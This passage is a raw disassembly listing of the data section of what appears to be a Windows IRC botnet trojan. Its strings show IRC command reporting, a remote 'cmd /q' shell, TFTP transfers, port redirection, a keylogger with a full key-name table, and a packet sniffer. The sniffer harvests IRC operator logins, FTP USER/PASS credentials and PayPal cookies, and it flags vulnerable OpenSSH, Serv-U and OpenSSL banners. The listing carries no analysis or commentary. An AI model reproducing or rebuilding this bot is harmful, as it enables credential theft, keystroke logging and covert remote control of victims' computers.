		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A44	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433A7C	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_433AB0:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F58	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433F9C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_434004	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43404C	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_43408C	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4340D0	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4340FC	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_434128	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_434164	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_434190	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341BC	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434358	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_43438C	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4343D4	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4343FC	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_43443C	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_43447C	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344BC	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E2C	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E5C:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 4
		dd offset off_435720
		dd offset off_43571C
		dd offset off_435718
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		db 3Ah
		db 2Eh,	69h, 64h	; DATA XREF: ___:off_43571Co
		dd 5 dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EB4o
		align 4
off_435718	dd offset word_505446	; DATA XREF: ___:00434EB0o
off_43571C	dd offset byte_435249	; DATA XREF: ___:00434EACo
off_435720	dd offset loc_544F41+1	; DATA XREF: ___:00434EA8o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_435994	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
